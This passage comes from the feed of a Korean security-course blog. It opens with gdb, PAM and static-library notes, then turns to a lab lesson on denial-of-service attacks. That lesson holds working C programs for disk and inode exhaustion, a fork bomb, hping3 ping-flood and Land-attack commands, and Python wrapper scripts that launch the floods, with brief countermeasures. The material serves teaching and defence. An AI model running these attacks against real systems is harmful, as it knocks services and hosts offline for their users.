1: $eip = (void (*)()) 0x8048429 &lt;hello&gt;  &lt;-- hello() 함수 안으로 들어온 부분
(gdb) n
19        printf(&quot;Hello C!\n&quot;);
1: $eip = (void (*)()) 0x804842f &lt;hello+6&gt;
(gdb) c
Continuing.
Hello C!

Program received signal SIGSEGV, Segmentation fault.
0x00000001 in ?? ()
1: $eip = (void (*)()) 0x1
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) q



##########
## PAM
##########


pam_rootok.so
- root 계정이면 성공을 반환한다.
- 다른 계정이면 실패를 반환한다.

# grep ^UsePAM /etc/ssh/sshd_config
UsePAM yes

# ls -ld /usr/sbin/sshd
-rwxr-xr-x. 1 root root 852856  8월  9  2019 /usr/sbin/sshd

# ls -ld /etc/pam.d/sshd 
-rw-r--r--. 1 root root 904  8월  9  2019 /etc/pam.d/sshd

# vi /etc/pam.d/sshd
#%PAM-1.0
auth       sufficient   pam_rootok.so
  :
  :(생략)

# vi /etc/pam.d/su
#%PAM-1.0
auth        sufficient    pam_rootok.so  &lt;-- root이면 성공을 반환한다.

# useradd user1
# passwd --stdin user1
12345

root 이기 때문에 무조건 성공을 반환하므로 일반유저 user1의 권한을 얻을 수 있다.
[root@localhost ~]# su - user1
마지막 로그인: 수  3월 22 16:21:33 KST 2023 일시 pts/0
[user1@localhost ~]$ exit


# vi /etc/pam.d/su
#%PAM-1.0
#auth        sufficient    pam_rootok.so  &lt;-- 주석처리를 했으므로 root이면 성공을 반환하지 않는다.

무조건 성공이 아니므로 일반유저 user1의 비밀번호를 정확히 입력해야 user1의 권한을 얻을 수 있다.
만약 인증에 실패하면 로그인이 금지된다.
[root@localhost ~]# su - user1
암호:
마지막 로그인: 수  3월 22 16:38:48 KST 2023 일시 pts/0
[user1@localhost ~]$ exit

[root@localhost ~]# su - user1
암호:
su: 인증 실패
</code></pre><blockquote>
<p><strong>실습&gt; static library 설치하기</strong></p>
</blockquote>
<pre><code>라이브러리명 
lib&lt;라이브러리명&gt;.&lt;라이브러리종류&gt; 
.a  : 정적 라이브러리
.so : 공유 라이브러리
.so : 동적 라이브러리

glibc-static: 64bit
glibc-static.i686: 32bit

***** 참고 *****
# mv /bin/mv ~
# rpm -qf /bin/mv
# yum -y reinstall coreutils
# ls -l /bin/mv
-rwxr-xr-x. 1 root root 130360  8월 20  2019 /bin/mv

# mv /lib64/libc.a ~
# yum -y reinstall glibc-static.i686 glibc-static
# ls /lib64/libc.a
ls: cannot access /lib64/libc.a: 그런 파일이나 디렉터리가 없습니다

glibc-static은 삭제되지 않는다.
그러므로 하나씩 지웠다가 다시 설치해야 한다.
# yum -y remove glibc-static.i686 glibc-static
# yum -y remove glibc-static.i686
# yum -y remove glibc-static

# yum -y install glibc-static.i686 glibc-static

이유는 확인을 해야 한다.
dnf가 나온 이유는 yum 의 단점을 보완해서 dnf가 나온것인데 이것과 연관되어 있는지 확인을 해야 된다.
***** 참고 *****


# yum -y remove glibc-static.i686
# yum -y remove glibc-static

# yum -y install glibc-static.i686 glibc-static


# ll /usr/lib64/libc.a
ls: cannot access /usr/lib64/libc.a: 그런 파일이나 디렉터리가 없습니다

# yum -y install glibc-static glibc-static.i686


64bit 정적 라이브러리
# ll /usr/lib64/libc.a
-rw-r--r--. 1 root root 5105516  5월 19  2022 /usr/lib64/libc.a

32bit 정적 라이브러리
# ll /usr/lib/libc.a
-rw-r--r--. 1 root root 3884038  5월 19  2022 /usr/lib/libc.a

64bit 정적 라이브러의 모든 Object를 출력한다.
# ar t /usr/lib64/libc.a

32bit 정적 라이브러의 모든 Object를 출력한다.
# ar t /usr/lib/libc.a

64bit 정적 라이브러에서 printf.o Object를 출력한다.
# ar t /usr/lib64/libc.a printf.o
printf.o

64bit 정적 라이브러에서 scanf.o Object를 출력한다.
# ar t /usr/lib64/libc.a scanf.o
scanf.o

32bit 정적 라이브러에서 printf.o Object를 출력한다.
# ar t /usr/lib/libc.a printf.o
printf.o

3bit 정적 라이브러에서 scanf.o Object를 출력한다.
# ar t /usr/lib/libc.a scanf.o
scanf.o</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[네트워크 보안 운영 - 5 (교육 79일차)]]></title>
            <link>https://velog.io/@security_code/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-5-%EA%B5%90%EC%9C%A1-79%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@security_code/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-5-%EA%B5%90%EC%9C%A1-79%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Sun, 19 Mar 2023 04:30:40 GMT</pubDate>
            <description><![CDATA[<p>###################
Local 에서 공격하는 DoS
###################</p>
<blockquote>
<p><strong>실습&gt; 시스템의 디스크 고갈 공격</strong></p>
</blockquote>
<pre><code>df -h: 파일의 용량
df -i: 파일의 개수

[root@victim3 ~]# df -h
Filesystem               Size  Used Avail Use% Mounted on
devtmpfs                 475M     0  475M   0% /dev
tmpfs                    487M     0  487M   0% /dev/shm
tmpfs                    487M  7.6M  479M   2% /run
tmpfs                    487M     0  487M   0% /sys/fs/cgroup
/dev/mapper/centos-root   17G  1.7G   16G  10% /
/dev/sda1               1014M  138M  877M  14% /boot
tmpfs                     98M     0   98M   0% /run/user/0
[root@victim3 ~]# df -i
Filesystem               Inodes IUsed   IFree IUse% Mounted on
devtmpfs                 121450   383  121067    1% /dev
tmpfs                    124459     1  124458    1% /dev/shm
tmpfs                    124459   729  123730    1% /run
tmpfs                    124459    16  124443    1% /sys/fs/cgroup
/dev/mapper/centos-root 8910848 41187 8869661    1% /
/dev/sda1                524288   326  523962    1% /boot
tmpfs                    124459     1  124458    1% /run/user/0


# vi diskDoS.c
/*
 * 파일명: diskDoS.c
 * 프로그램 설명: 디스크의 파일의 개수를 넘치게 해서 더이상 파일을 
 * 생성하지 못하게 만드는 공격이다.
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int main()
{
    int i = 1;
    char cmd[50];

    while(1)
    {
        sprintf(cmd, &quot;touch /boot/.%d.txt&quot;, i);
        //printf(&quot;%d\n&quot;, cmd);
        system(cmd);  // touch /boot/.1.txt
        i += 1;       // i++;
    }

    return 0;
}

# gcc -o diskDoS diskDoS.c
# file diskDoS
# ./diskDoS


다른 터미널에서 실행한다.
# watch df -i


  :
  :(생략)
touch: cannot touch `/boot/.58168.txt&#39;: 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58169.txt&#39;: 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58170.txt&#39;: 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58171.txt&#39;: 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58172.txt&#39;: 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58173.txt&#39;: 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58174.txt&#39;: 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58175.txt&#39;: 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58176.txt&#39;: 장치에 남은 공간이 없음


Ctrl + Z &gt; kill %1
[root@victim3 ~]# df -i
Filesystem               Inodes  IUsed   IFree IUse% Mounted on
devtmpfs                 121450    383  121067    1% /dev
tmpfs                    124459      1  124458    1% /dev/shm
tmpfs                    124459    749  123710    1% /run
tmpfs                    124459     16  124443    1% /sys/fs/cgroup
/dev/mapper/centos-root 8910848  41190 8869658    1% /
/dev/sda1                524288 524288       0  100% /boot
tmpfs                    124459      1  124458    1% /run/user/0

/boot 디렉터리에 파일 개수가 모두 채워졌기 때문에 kernel이 업데이트가 되지 않는다.
kernel을 업데이트 하기 위해서는 파일 여섯개가 필요하므로 inode 여섯개가 최소 있어야 하는데 100% 이기 때문에 
더이상 파일을 만들 수 없기 때문에 업데이트가 실패가 된다.
# yum -y update kernel
  :
  :(생략)
========================================================================================================
 Package             Arch                Version                             Repository            Size
========================================================================================================
Installing:
 kernel              x86_64              3.10.0-1160.76.1.el7                updates               50 M

Transaction Summary
========================================================================================================
Install  1 Package

Total download size: 50 M
Installed size: 64 M
Downloading packages:
Delta RPMs disabled because /usr/bin/applydeltarpm not installed.
kernel-3.10.0-1160.76.1.el7.x86_64.rpm                                           |  50 MB  00:00:04     
Running transaction check
Running transaction test


Transaction check error:
  installing package kernel-3.10.0-1160.76.1.el7.x86_64 needs 6 inodes on the /boot filesystem

Error Summary
-------------
</code></pre><p>💥💥💥💥💥
<strong>대응방안: 디스크 쿼터를 통해서 파일시스템에서 파일의 용량/개수를 제한해야 한다.</strong></p>
<p><strong>테스트가 끝나면 원래대로 돌려놓는다.
파일의 개수가 너무 많으면 rm 명령어의 인수가 너무 많기 때문에 삭제가 안된다.</strong></p>
<pre><code># cd /boot
# rm -fv .*.txt
bash: /usr/bin/rm: 인수 명단이 너무 김

# find -type f -name &#39;.*.txt&#39; -exec rm -fv {} \;
# find -type f -name &#39;.*.txt&#39; | xargs rm -fv</code></pre><blockquote>
<p><strong>실습&gt; 시스템의 디스크 고갈 공격</strong></p>
</blockquote>
<p><strong>파일의 용량으로 시스템에 남아있는 디스크의 용량 채워서 DoS 공격을 시도한다.</strong></p>
<p><a href="https://ko.wikipedia.org/wiki/XFS">https://ko.wikipedia.org/wiki/XFS</a></p>
<pre><code># useradd user1
# su - user1
$ vi diskDoS2.c
/*
 * 파일명: diskDoS2.c
 * 프로그램 설명: 디스크의 용량을 채워서 디스크를 사용하지 못하게 만드는 공격이다.
 * 작성자: 리눅스마스터넷
 */

#include &lt;unistd.h&gt;
#include &lt;sys/file.h&gt;

int main()
{
    char buffer[10000];
    int fd;
    int i = 1;

    // /boot/diskDoS2.txt 파일을 생성한다.
    fd = creat(&quot;/boot/diskDoS2.txt&quot;, 0644);

    while(1)
    {
         // buffer에 있는 10,000씩 
         write(fd, buffer, sizeof(buffer));
    }

    close(fd);

    return 0;
}

$ gcc -o diskDoS2 diskDoS2.c 
$ ./diskDoS2 
  :
  : &lt;-- 시간이 지난 후 디스크의 남은 공간이 100%가 되면 Ctrl + C 를 눌러서 중지한다.


$ ls -lh /tmp/diskDoS2.txt 
-rw-r--r--. 1 user1 user1 24G  8월 30 20:17 /tmp/diskDoS2.txt



$ df
Filesystem              1K-blocks     Used Available Use% Mounted on
devtmpfs                   919464        0    919464   0% /dev
tmpfs                      931500   444504    486996  48% /dev/shm
tmpfs                      931500     9864    921636   2% /run
tmpfs                      931500        0    931500   0% /sys/fs/cgroup
/dev/mapper/centos-root  28289540 28289520        20 100% /
/dev/sda1                 1038336   153776    884560  15% /boot
tmpfs                      186304        0    186304   0% /run/user/1000
tmpfs                      186304        0    186304   0% /run/user/0


$ df -h
Filesystem               Size  Used Avail Use% Mounted on
devtmpfs                 898M     0  898M   0% /dev
tmpfs                    910M  435M  476M  48% /dev/shm
tmpfs                    910M  9.7M  901M   2% /run
tmpfs                    910M     0  910M   0% /sys/fs/cgroup
/dev/mapper/centos-root   27G   27G   20K 100% /
/dev/sda1               1014M  151M  864M  15% /boot
tmpfs                    182M     0  182M   0% /run/user/1000
tmpfs                    182M     0  182M   0% /run/user/0


HDD 용량이 없는 경우 발생하는 여러 문제점들
# useradd user2
useradd: /etc/passwd.115205: 장치에 남은 공간이 없음
useradd: /etc/passwd을(를) 잠글 수 없습니다. 나중에 다시 시도하십시오.

# yum -y remove kernel
Loaded plugins: fastestmirror
Skipping the running kernel: kernel-3.10.0-1160.el7.x86_64
Resolving Dependencies
--&gt; Running transaction check
---&gt; Package kernel.x86_64 0:3.10.0-1160.76.1.el7 will be erased


[Errno 28] 장치에 남은 공간이 없음: &#39;//var/lib/yum/rpmdb-indexes/conflicts.tmp&#39;</code></pre><p>💥💥💥💥💥
<strong>대응 방안: 
ulimit -a
기본값은 unlimited이므로 ulimit으로 file size를 제한한다.
디스크 쿼터를 이용해서 일반 유저를 제한해야 한다.
일반 유저가 쓰기 권한이 있는 파티션(/home, /tmp)을 분할해서 운영해야 한다.</strong> </p>
<p><strong>테스트가 완료되면 파일을 삭제한다.</strong></p>
<blockquote>
<p><strong>실습&gt; 메모리 고갈 공격</strong></p>
</blockquote>
<pre><code># yum -y install man man-pages
# man fork

# vi fork.c
/*
 * 파일명: fork.c
 * 프로그램 설명: 자식 프로세스를 생성하는 fork()함수 
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;

int main()
{
    int i = 1;

    pid_t pid = fork();

    // if문을 이용한 경우
    if(pid == -1)
    {
        fprintf(stderr,&quot;fork Error \n&quot;);
        return 1;
    }

    if(pid == 0) 
        printf(&quot;Child process: %d, PID: %d\n&quot;, pid, getpid());
    else 
        printf(&quot;Parent process: %d, PID: %d\n&quot;, pid, getpid());

    return 0;
}

# gcc -o fork fork.c 
# ./fork 
Parent process: 60587, PID: 60586
# Child process: 0, PID: 60587


# vi fork2.c 
/*
 * 파일명: fork2.c
 * 프로그램 설명: 자식 프로세스를 생성하는 fork()함수 
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;

int main()
{
    int i = 1;

    pid_t pid = fork();

    // switch ~ case문을 이용한 경우
    switch(pid)
    {
        case -1: fprintf(stderr,&quot;fork Error \n&quot;); 
                 break;
        case  0: printf(&quot;Child process: %d, PID: %d\n&quot;, pid, getpid());
                 break;
        default: printf(&quot;Parent process: %d, PID: %d\n&quot;, pid, getpid());
    }

    return 0;
}

# gcc -o fork2 fork2.c 
# ./fork2 
Parent process: 62154, PID: 62153
# Child process: 0, PID: 62154


# vi memoryDoS.c
/*
 * 파일명: memoryDoS.c
 * 프로그램 설명: 자식 프로세스를 생성하는 fork()함수를 무한루프로 실행해서 
 * 메모리를 고갈시키는 공격으로 더이상 자식 프로세스를 생성하지 못하게 만드는 공격이다.
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;

int main()
{
    while(1)
    {
        fork();
    }

    return 0;
}


명령어를 실행시키는 순간 시스템이 바로 다운된다.
# gcc -o memoryDoS memoryDoS.c 
# ./memoryDoS</code></pre><p>#####################
Remote 에서 공격하는 DoS
#####################</p>
<blockquote>
<p><strong>실습&gt; ping of death</strong></p>
</blockquote>
<pre><code>attacker: 200.200.200.3 Kali
victim3 : 200.200.200.6 CentOS7

1. 통신 확인
[root@kali ~]# ping -c 4 victim3.linuxmaster.net
PING victim3.linuxmaster.net (200.200.200.6) 56(84) bytes of data.
64 bytes from 200.200.200.6 (200.200.200.6): icmp_seq=1 ttl=64 time=2.22 ms
64 bytes from 200.200.200.6 (200.200.200.6): icmp_seq=2 ttl=64 time=0.414 ms
64 bytes from 200.200.200.6 (200.200.200.6): icmp_seq=3 ttl=64 time=0.486 ms
64 bytes from 200.200.200.6 (200.200.200.6): icmp_seq=4 ttl=64 time=1.30 ms

--- victim3.linuxmaster.net ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.414/1.104/2.223/0.732 ms

2. 패킷 모니터링
[root@victim3 ~]# tcpdump -i ens33 not port 22 and not arp -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes

3. ping 패킷 전송
-1: ICMP mode
-d 65000: 패킷 크기
200.200.200.6: 피해자
--flood 최대한 빠르게 전송
[root@kali ~]# hping3 -1 -d 65000 200.200.200.6 --flood

[root@victim3 ~]# tcpdump -i ens33 not port 22 and not arp -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
  :
  :(생략)
11:25:05.617333 IP 200.200.200.6 &gt; 200.200.200.3: ip-proto-1
11:25:05.617344 IP 200.200.200.6 &gt; 200.200.200.3: ip-proto-1
11:25:05.617347 IP 200.200.200.6 &gt; 200.200.200.3: ip-proto-1
11:25:05.617359 IP 200.200.200.6 &gt; 200.200.200.3: ip-proto-1
11:25:05.617361 IP 200.200.200.6 &gt; 200.200.200.3: ip-proto-1
11:25:05.617374 IP 200.200.200.6 &gt; 200.200.200.3: ip-proto-1
11:25:05.617376 IP 200.200.200.6 &gt; 200.200.200.3: ip-proto-1
11:25:05.617387 IP 200.200.200.6 &gt; 200.200.200.3: ip-proto-1

4. 패킷 저장
[root@victim3 ~]# tcpdump -i ens33 not port 22 and not arp -w /var/www/html/icmpFlood.pcap
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes

[root@kali ~]# time hping3 -1 -d 65000 200.200.200.6 --flood
^C

[root@victim3 ~]# tcpdump -i ens33 not port 22 and not arp -w /var/www/html/icmpFlood.pcap
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
^C
[root@victim3 ~]# tcpdump -r icmpFlood.pcap 
[root@victim3 ~]# systemctl restart httpd

윈도우에서 icmpFlood.pcap 파일을 다운로드 받아서 와이샤크에서 분석한다.
http://200.200.200.6/icmpFlood.pcap 


hping3 사용법
[root@kali ~]# hping3 --help
usage: hping3 host [options]
  -h  --help      show this help
  -v  --version   show version
  -c  --count     packet count
  -i  --interval  wait (uX for X microseconds, for example -i u1000)
      --fast      alias for -i u10000 (10 packets for second)
      --faster    alias for -i u1000 (100 packets for second)
      --flood       sent packets as fast as possible. Don&#39;t show replies.
  -n  --numeric   numeric output
  -q  --quiet     quiet
  -I  --interface interface name (otherwise default routing interface)
  -V  --verbose   verbose mode
  -D  --debug     debugging info
  -z  --bind      bind ctrl+z to ttl           (default to dst port)
  -Z  --unbind    unbind ctrl+z
      --beep      beep for every matching packet received
Mode
  default mode     TCP
  -0  --rawip      RAW IP mode
  -1  --icmp       ICMP mode
  -2  --udp        UDP mode
  -8  --scan       SCAN mode.
                   Example: hping --scan 1-30,70-90 -S www.target.host
  -9  --listen     listen mode
IP
  -a  --spoof      spoof source address
  --rand-dest      random destionation address mode. see the man.
  --rand-source    random source address mode. see the man.
  -t  --ttl        ttl (default 64)
  -N  --id         id (default random)
  -W  --winid      use win* id byte ordering
  -r  --rel        relativize id field          (to estimate host traffic)
  -f  --frag       split packets in more frag.  (may pass weak acl)
  -x  --morefrag   set more fragments flag
  -y  --dontfrag   set don&#39;t fragment flag
  -g  --fragoff    set the fragment offset
  -m  --mtu        set virtual mtu, implies --frag if packet size &gt; mtu
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer
  --lsrr           loose source routing and record route
  --ssrr           strict source routing and record route
  -H  --ipproto    set the IP protocol field, only in RAW IP mode
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help  display help for others icmp options
UDP/TCP
  -s  --baseport   base source port             (default random)
  -p  --destport   [+][+]&lt;port&gt; destination port(default 0) ctrl+z inc/dec
  -k  --keep       keep still source port
  -w  --win        winsize (default 64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you&#39;ll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp-&gt;th_flags as exit code
  --tcp-mss        enable the TCP MSS option with the given value
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime
Common
  -d  --data       data size                    (default is 0)
  -E  --file       data from file
  -e  --sign       add &#39;signature&#39;
  -j  --dump       dump packets in hex
  -J  --print      dump printable characters
  -B  --safe       enable &#39;safe&#39; protocol
  -u  --end        tell you when --file reached EOF and prevent rewind
  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)
  --tr-stop        Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt        Don&#39;t calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
  --apd-send       Send the packet described with APD (see docs/APD.txt)</code></pre><p><strong>파이썬 쓰레드 (thread)</strong>
프로세스를 실행할 때 싱글 쓰레드로 실행된다.
프로세스를 병렬로 처리할 때 멀티 쓰레드(동시에 실행)를 사용한다.
프로세스에서 동작할 기능을 여러 개 작성해서 동시에 여러개 실행할 때 쓰레드를 이용한다.
지금까지 프로그램을 만든 것은 싱글 쓰레드(동작할 기능이 1개)로 실행한 것이다.
멀티 쓰레드(동작할 기능이 2개 이상)로 실행하는 프로그램을 작성할 것이다.</p>
<p>멀티 쓰레드로 동작할 기능을 함수로 만들어서 사용한다.</p>
<p>공식 문서: <a href="https://docs.python.org/ko/3/library/threading.html">https://docs.python.org/ko/3/library/threading.html</a></p>
<p>쓰레드 사용 방법</p>
<ol>
<li>threading 모듈 사용</li>
<li>서브 쓰레드에서 사용할 함수, 클래스 정의</li>
<li>서브 쓰레드 객체 생성</li>
<li>서브 쓰레드 실행</li>
<li>메인 쓰레드 실행</li>
</ol>
<pre><code>[root@kali ~]# vi threadTest1.py
#!/usr/bin/python

&quot;&quot;&quot;
파일명 : threadTest1.py
프로그램 설명 : 쓰레드 사용하기
&quot;&quot;&quot;

# 1. threading 모듈 사용
import threading

# 2. 서브 쓰레드에서 사용할 함수
def myFunction1():
    print(&quot;myFunction1() 함수 실행(1 ~ 20) &quot;)
    for i in range(1, 21):
        print(f&#39;myFunction1: {i}&#39;)

# 3. 서브 쓰레드 생성
t1 = threading.Thread(target=myFunction1)
t1.start()  # 4. 서브 쓰레드 실행

# 5. 메인 쓰레드 실행
name = input(&#39;이름: &#39;)
print(f&#39;입력한 이름은 {name}입니다.&#39;)

[root@kali ~]# chmod 755 threadTest1.py
[root@kali ~]# ./threadTest1.py

[root@kali ~]# vi threadTest2.py
#!/usr/bin/python
&quot;&quot;&quot;
파일명 : threadTest2.py
프로그램 설명 : 쓰레드 사용하기
&quot;&quot;&quot;

# 1. threading 모듈 사용
import threading

# 2. 서브 쓰레드에서 사용할 함수
def myFunction1():
    print(&quot;myFunction1() 함수 실행(1 ~ 1000) &quot;)
    for i in range(1, 1001):
        print(f&#39;myFunction1: {i}&#39;)

def myFunction2():
    print(&quot;myFunction2() 함수 실행(2000 ~ 3001) &quot;)
    for i in range(2000, 3001):
        print(f&#39;myFunction2: {i}&#39;)

# 3. 서브 쓰레드 객체 생성
t1 = threading.Thread(target=myFunction1)
t2 = threading.Thread(target=myFunction2)

# 4. 서브 쓰레드 실행
t1.start()  # 첫 번째 서브 쓰레드 실행
t2.start()  # 두 번째 서브 쓰레드 실행

# 5. 메인 쓰레드 실행
#myFunction1()
#myFunction2()
print(&#39;Main thread(4000 ~ 5000&#39;)
for i in range(4000, 4001):
    print(f&#39;Main thread: {i}&#39;)

[root@kali ~]# chmod 755 threadTest2.py
[root@kali ~]# ./threadTest2.py
</code></pre><blockquote>
<p><strong>실습&gt; Land Attack</strong></p>
</blockquote>
<p><strong>Land Attack:
출발지 IP주소와 목적지 IP주소가 같게 설정해서 패킷을 전송하는 공격이다.
목적지 IP주소는 victim을 말하기 때문에 출발지 주소도 victim의 IP주소가 된다.</strong></p>
<pre><code>1. 공격 시도
-1 or --icmp : ICMP mode 옵션
--flood: 패킷을 빠르게 보내는 옵션
-a or --spoof: 출발지 IP주소를 스푸핑하는 옵션
[root@kali ~]# hping3 200.200.200.6 -a 200.200.200.6 --icmp --flood

2. 패킷 확인
[root@victim3 ~]# tcpdump -i ens33 icmp -nn
  :
  :(생략)
12:41:48.460361 IP 200.200.200.6 &gt; 200.200.200.6: ICMP echo request, id 46040, seq 22237, length 8
12:41:48.460363 IP 200.200.200.6 &gt; 200.200.200.6: ICMP echo request, id 46040, seq 22493, length 8
12:41:48.460388 IP 200.200.200.6 &gt; 200.200.200.6: ICMP echo request, id 46040, seq 22749, length 8
12:41:48.460389 IP 200.200.200.6 &gt; 200.200.200.6: ICMP echo request, id 46040, seq 23005, length 8

실습&gt; 공격 툴 작성

1. 공격툴 작성
싱글 쓰레드, scapy 모듈을 사용하지 않은 공격툴을 작성한다. 
[root@kali ~]# vi landAttack.py
#!/usr/bin/env python
# 파일명: landAttack.py
# 프로그램 설명: landAttack DoS 공격 툴
# 작성자: 리눅스마스터넷
# 버전: 2023031601

import sys
import os

if len(sys.argv) != 3:
    help  = f&#39;Usage: {sys.argv[0]} victimIP debug\n&#39;
    help += &#39;victimIP: 공격 대상\n&#39;
    help += &#39;debug: 디버그 유무\n&#39;
    help += &#39;- 1: 디버그 모드\n&#39;
    help += &#39;- 0: 공격 모드&#39;

    print(help)
    sys.exit(1)

victimIP  = sys.argv[1]
debugMode = sys.argv[2]

def landAttack(victimIP, debug):
    &quot;&quot;&quot;
    함수 기능: Land Attack을 공격하는 함수
    인수:
    - victimIP: 공격 대상의 IP주소
    - debug: 디버그 유무 (1: 디버그 모드, 0: 공격 모드)
    리턴값: 없음.
    &quot;&quot;&quot;

    srcIP = victimIP
    dstIP = srcIP
    landAttackCmd = f&#39;hping3 {srcIP} -a {dstIP} --icmp --flood&#39;

    if debug == &#39;1&#39;:
        print(&quot;&gt;&gt;&gt; 디버그 모드 &lt;&lt;&lt;&quot;)
        print(landAttackCmd)
    else:
        print(&quot;&gt;&gt;&gt; 공격 모드 &lt;&lt;&lt;&quot;)
        os.system(landAttackCmd)

landAttack(victimIP, debugMode)

2. 공격 툴 실행
실행파일로 권한을 변경한 후 실행한다.
[root@kali ~]# chmod 755 landAttack.py

인수가 없는 경우에는 사용법을 보여주고 프로세스를 종료한다.
[root@kali ~]# ./landAttack.py 
Usage: ./landAttack.py victimIP debug
victimIP: 공격 대상
debug: 디버그 유무
- 1: 디버그 모드
- 0: 공격 모드

인수를 IP주소만 사용한 경우 사용법을 보여주고 프로세스를 종료한다.
[root@kali ~]# ./landAttack.py 200.200.200.6
Usage: ./landAttack.py victimIP debug
victimIP: 공격 대상
debug: 디버그 유무
- 1: 디버그 모드
- 0: 공격 모드

인수를 IP주소와 디버그 모드를 사용한 경우에는 hping 명령어의 사용법을 보여주고 프로세스를 종료한다.
[root@kali ~]# ./landAttack.py 200.200.200.6 1
&gt;&gt;&gt; 디버그 모드 &lt;&lt;&lt;
hping3 200.200.200.6 -a 200.200.200.6 --icmp --flood

3. 패킷 모니터링
[root@victim3 ~]# tcpdump -nn -i ens33 not port 22 and icmp

4. 공격 모드로 공격 툴 실행
인수를 IP주소와 공격 모드를 사용한 경우에는 hping 명령어로 패킷을 Victim3에게 전송한다. 
[root@kali ~]# ./landAttack.py 200.200.200.6 0
&gt;&gt;&gt; 공격 모드 &lt;&lt;&lt;
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown


1. 공격툴 작성
멀티 쓰레드, scapy 모듈을 사용하지 않은 공격툴을 작성한다. 
[root@kali ~]# vi  ./landAttack2.py 
#!/usr/bin/env python
# 파일명: landAttack.py
# 프로그램 설명: landAttack DoS 공격 툴
# 작성자: 리눅스마스터넷
# 버전: 2023031601

import sys
import os

if len(sys.argv) != 3:
    help  = f&#39;Usage: {sys.argv[0]} victimIP debug\n&#39;
    help += &#39;victimIP: 공격 대상\n&#39;
    help += &#39;debug: 디버그 유무\n&#39;
    help += &#39;- 1: 디버그 모드\n&#39;
    help += &#39;- 0: 공격 모드&#39;

    print(help)
    sys.exit(1)

victimIP  = sys.argv[1]
debugMode = sys.argv[2]

def landAttack(victimIP, debug):
    &quot;&quot;&quot;
    함수 기능: Land Attack을 공격하는 함수
    인수:
    - victimIP: 공격 대상의 IP주소
    - debug: 디버그 유무 (1: 디버그 모드, 0: 공격 모드)
    리턴값: 없음.
    &quot;&quot;&quot;

    srcIP = victimIP
    dstIP = srcIP
    landAttackCmd = f&#39;hping3 {srcIP} -a {dstIP} --icmp --flood&#39;

    if debug == &#39;1&#39;:
        print(&quot;&gt;&gt;&gt; 디버그 모드 &lt;&lt;&lt;&quot;)
        print(landAttackCmd)
    else:
        print(&quot;&gt;&gt;&gt; 공격 모드 &lt;&lt;&lt;&quot;)
        os.system(landAttackCmd)

# Multi thread 2개 실행
import threading

# target: 실행하고자 하는 함수/클래스의 이름을 사용하는 변수
# args: 함수/클래스에 인수를 넘길 때 사용하는 변수
th1 = threading.Thread(target=landAttack, args=(victimIP,debugMode))  # sub thread 1
th2 = threading.Thread(target=landAttack, args=(victimIP,debugMode))  # sub thread 2
th1.start()  # Sub thread 실행
th2.start()  # Sub thread 실행

# Main thread
landAttack(victimIP, debugMode)

2. 패킷 모니터링
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp

3. 공격 툴 실행
실행파일로 권한을 변경한 후 실행한다.
[root@kali ~]# chmod 755 landAttack.py

4. 공격 모드로 공격 툴 실행
인수를 IP주소와 공격 모드를 사용한 경우에는 hping 명령어로 패킷을 Victim3에게 전송한다. 
[root@kali ~]# ./landAttack2.py 200.200.200.6 0
&gt;&gt;&gt; 공격 모드 &lt;&lt;&lt;
